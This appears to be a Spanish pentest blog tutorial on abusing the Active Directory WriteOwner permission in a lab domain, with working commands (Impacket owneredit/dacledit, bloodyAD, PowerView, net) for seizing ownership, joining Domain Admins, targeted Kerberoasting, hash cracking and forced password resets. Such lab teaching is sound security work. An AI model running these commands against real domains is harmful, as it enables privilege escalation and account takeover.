WriteOwner
Introducción
¡Qué tal, hacker!
Bienvenido a un nuevo post. En esta ocasión vamos a meternos con el permiso DACL WriteOwner, veremos cómo montar un laboratorio controlado y cómo abusar de este privilegio cuando lo tenemos aplicado tanto sobre un grupo como sobre un usuario.
¿Qué es DACL WriteOwner?
Antes de ir a la práctica, vale la pena entender qué permite exactamente este permiso.
WriteOwner autoriza a un usuario a cambiar el propietario de un objeto a cualquier otra entidad. Dicho así suena inofensivo, pero en un escenario ofensivo es bastante potente: si un atacante puede modificar el propietario, puede tomar posesión del objeto y, a partir de ahí, hacer prácticamente lo que quiera.
Una vez que toma el control, puede reconfigurar permisos y concederse acceso total a sí mismo o a terceros. Ejemplo rápido: el atacante cambia el propietario del objeto, modifica la DACL y se asigna Full Control, lo que le permite leer, escribir o eliminar el objeto sin restricciones.
Este permiso se vuelve especialmente interesante dependiendo del tipo de objeto:
En grupos, WriteOwner permite manipular la propiedad del grupo y, desde ahí, otorgarse la capacidad de agregar o quitar miembros.
En usuarios, el atacante puede terminar con control total sobre la cuenta del usuario objetivo.
En objetos de equipo (computers), se obtiene acceso prácticamente ilimitado para manipular el objeto y su funcionamiento dentro del dominio.
En objetos de dominio, el impacto es mayor: el atacante podría realizar un DCSync, simulando ser un controlador de dominio para obtener hashes o credenciales sensibles.
Configuración del Laboratorio
En este caso, contamos con el usuario Frank Castle al cual le asignaremos el permiso WriteOwner sobre el grupo Domain Admins y veremos distintas maneras de como podemos abusar de este.
Accedemos a la sección Active Directory Users and Computers y en la pestaña de View habilitamos las caracteristicas avanzadas.

Luego hacemos clic derecho sobre el grupo Domain Admins y accedemos a sus propiedades.

A continuación, accedemos a la pestaña Security y hacemos clic en Add.

Escribimos el nombre del usuario que queremos agregar, en este caso Frank Castle y damos clic en Ok.


Luego damos clic en Advanced

Hacemos doble clic en el usuario Frank Castle y marcamos la casilla Modify Owner.

Por ultimo, damos clic en Apply y Ok.
En este punto, el usuario Frank Castle tiene el permiso WriteOwner sobre el grupo Domain Admins.
Bloodhound
Antes de realizar la explotación, vamos a enumerar utilizando la herramienta Bloohound.
bloodhound-python -d zonahacking.local -u frank -p 'Password123!' -ns 192.168.56.100 --zip -c All


De esta forma, podemos observar que el usuario Frank tiene privilegios WriteOwner sobre el grupo Domain Admins.
Concesión de propiedad y control total - Linux
Utilizando la herramienta impacket-owneredit, podemos modificar el usuario dueño del grupo Domain Admins.
impacket-owneredit -action write -new-owner 'frank' -target-dn 'CN=DOMAIN ADMINS,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'frank':'Password123!' -dc-ip 192.168.56.100
-actionToma los valores dereadowrite, en este caso, lo que queremos es que el usuario tenga privilegios dewritesobre el grupo.-new-ownerDebemos indicar el sAMAccountName del usuario.-target-dnDebemos indicar el Distinguished Name-dc-ipDirección IP del Domain Controller

El siguiente paso a realizar, es otorgar al usuario frank el control total sobre el grupo Domain Admins, para lo cual, utilizamos el script dacledit de la suite de Impacket.
impacket-dacledit -action write -rights 'WriteMembers' -principal 'frank' -target-dn 'CN=DOMAIN ADMINS,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'frank':'Password123!' -dc-ip 192.168.56.100
-actionToma uno de los siguientes valoresread,write,remove,backup o restoreen este caso indicamos el valor dewrite.-rightsEste parámetro indica el privilegio (FullControl,ResetPassword,WriteMembers,DCSync,Custom), en esta ocasión nos interesaWriteMembers, es decir, que pueda agregar miembros al grupo.-dc-ipDirección IP del Domain Controller
Con la ayuda de dacledit, el DACL de este objeto se modificó con éxito y el usuario frank ahora tiene control total sobre el grupo .

Agregar miembros al grupo
RPC
Podemos agregar usuarios al grupo Domain Admins usando el comando net rpc de Linux.
net rpc group addmem "Domain Admins" frank -U zonahacking.local/frank%'Password123!' -S 192.168.56.100
BloodyAD
Alternativamente, se puede lograr usando la herramienta bloodyAD
bloodyAD --host 192.168.56.100 -d zonahacking.local -u frank -p 'Password123!' add groupMember "Domain Admins" frank

PowerView
Desde un sistema Windows, esto se puede lograr con Set-DomainObjectOwner para otorgar propiedad seguido del CmdLet Add-DomainObjectAcl para otorgar permiso total sobre el objeto.
Nos conectamos al hosts a través de winrm ya que el usuario Frank pertence al grupo Remote Management Users.

powershell -ep bypass
import-module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'frank'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity 'Domain Admins' -PrincipalIdentity 'frank'

Comando Net
También podemos utilizar comando net nativo de Windows, para agregar un usuario a un grupo.
net group "Domain Admins" frank /add /domain

Por lo tanto, desde la propiedad del usuario podemos ver que el usuario Frank se ha convertido en miembro de Domain Admins.

Abusar del privilegio WriteOwner sobre un usuario
Para realizar la práctica de este caso, crearemos dos nuevos usuarios, maria y bob.
net user maria Password123! /add /domain
net user bob Password123!! /add /domain
Vamos a abusar del privilegio WriteOwner pero sobre un objeto del tipo usuario. Para lo cual, en primera instancia vamos a asignar el privilegio al usuario maria sobre el usuario bob.
Accedemos a las propiedades del usuario bob.

Damos clic en el botón Add.

Buscamos al usuario maria y luego damos clic en Ok.

A continuación, damos clic en el botón Advanced.

Seleccionamos el usuario de maria y damos clic en Edit.

Marcamos la casilla del permiso Modify owner y damos clic en Ok.

De esta manera, tenemos configurado el laboratorio.
Volvemos a realizar una vez más la enumeración utilizando la herramienta Bloodhound
bloodhound-python -d zonahacking.local -u maria -p 'Password123!' -ns 192.168.56.100 --zip -c All


Linux: concesión de propiedad y control total
Al igual que antes con el abuso aplicado al grupo, utilizamos el script owneredit de la suite de Impacket para editar el dueño del objeto, en este caso bob.
impacket-owneredit -action write -new-owner 'maria' -target-dn 'CN=BOB,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'maria':'Password123!' -dc-ip 192.168.56.100

Vemos que la DACL del usuario bob se modificó correctamente. Como resultado, el usuario maria ahora es el propietario de la cuenta de bob.
Otorgamiento de control total:
A continuación, utilizamos el script dacledit para asignar control total a Maria sobre el objeto de usuario Bob .
impacket-dacledit -action write -rights 'FullControl' -principal 'maria' -target-dn 'CN=BOB,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'maria':'Password123!' -dc-ip 192.168.56.100

Con la ayuda de dacledit , el DACL de este objeto se modifica con éxito y Maria ahora tiene control total sobre el usuario Bob.
Ahora, dado que el usuario tiene control total sobre el objetivo, podemos realizar un ataque de kerberoasting o podemos cambiar la contraseña sin conocer la contraseña actual del objetivo.
Kerberoast dirigido
Desde sistemas tipo UNIX, esto se puede hacer con el script targetedKerberoast.py .
python3 targetedKerberoast.py --dc-ip 192.168.56.100 -v -d zonahacking.local -u 'maria' -p 'Password123!'

Vemos que logramos obtener el hash, el cual podemos crackear offline utilizando herramientas como john o hashcat.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cambio de contraseña desde Linux - Net RPC
Como mencionamos anteriormente, otra alternativa al kerberoasting es cambiar la contraseña del usuario (tener en cuenta que en un pentest real no es lo más recomendado), para lo cual podemos utilizar la herramienta net de linux.
net rpc password bob 'Password@321' -U zonahacking.local/maria%'Password123!' -S 192.168.56.100

Cambio de contraseña desde Linux - BloodyAD
Otra alternativa a la herramienta anterior es BloodyAD, la cual, nos permite además de otras acciones cambiar la contraseña de un usuario.
bloodyAD --host 192.168.56.100 -d zonahacking.local -u maria -p 'Password123!' set password bob 'SuperSecret@123'

Windows PowerShell Powerview: Otorgamiento de propiedad y control total
En sistemas Windows, podemos usar el módulo PowerView para otorgar propiedad y control total sobre un objeto objetivo. Este proceso implica dos cmdlets principales: Set-DomainObjectOwner y Add-DomainObjectAcl .
powershell -ep bypass
Import-Module .PowerView.ps1
Set-DomainObjectOwner -Identity 'bob' -OwnerIdentity 'maria'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity 'bob' -PrincipalIdentity 'maria'
Ahora, dado que el usuario tiene control total sobre el objetivo, podemos realizar al igual que antes ataques de kerberoasting o cambiar la contraseña sin conocer la contraseña actual del objetivo abusando de ForceChangePassword.
Windows PowerShell Powerview: Kerberosting
Podemos asignar un SPN a una cuenta de usuario para luego efectuar un ataque de kerberoasting, para lo cual podemos utilizar el cmdlet de PowerView Set-DomainObject.
Set-DomainObject -Identity 'bob' -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser 'bob' | Select serviceprincipalname

Luego, usando impacket-GetUserSPNs o Rubeus podemos obtener y crackear el hash correspondiente.
impacket-GetUserSPNs zonahacking.local/maria:Password123! -dc-ip 192.168.56.100 -request

Cambiar la contraseña de un usuario desde Windows PowerShell PowerView
Por último, podemos cambiar la contraseña del usuario mediante el módulo PowerView. Esto se puede lograr con el cmdlet Set-DomainUserPassword.


De esta forma llegamos al final del artículo.
En definitiva, WriteOwner es uno de esos permisos que suelen pasar desapercibidos durante la enumeración, pero que en la práctica ofensiva tienen un peso enorme. La gracia no está solo en “poder cambiar el dueño de algo”, sino en todo lo que habilita después: escalar privilegios, manipular acceso, incorporar cuentas a grupos estratégicos o directamente tomar control de un usuario del dominio.
Lo bueno es que es un permiso relativamente fácil de detectar y de abusar si ya tenemos un foothold dentro del dominio, pero también es un dolor de cabeza desde el lado defensivo: muchas implementaciones lo dejan suelto por error, por herencias mal configuradas o por permisos que se arrastran desde hace años.
Si llegaste hasta acá, ahora ya sabés:
- Qué es WriteOwner
- Por qué es ofensivamente útil
- Qué impacto tiene según el tipo de objeto
- Cómo se puede materializar en un ataque real
Y lo más interesante: que vale la pena sumar este permiso a tu checklist de Active Directory, tanto cuando estás atacando como cuando estás auditando.
Gracias por leer y ¡Happy Hacking!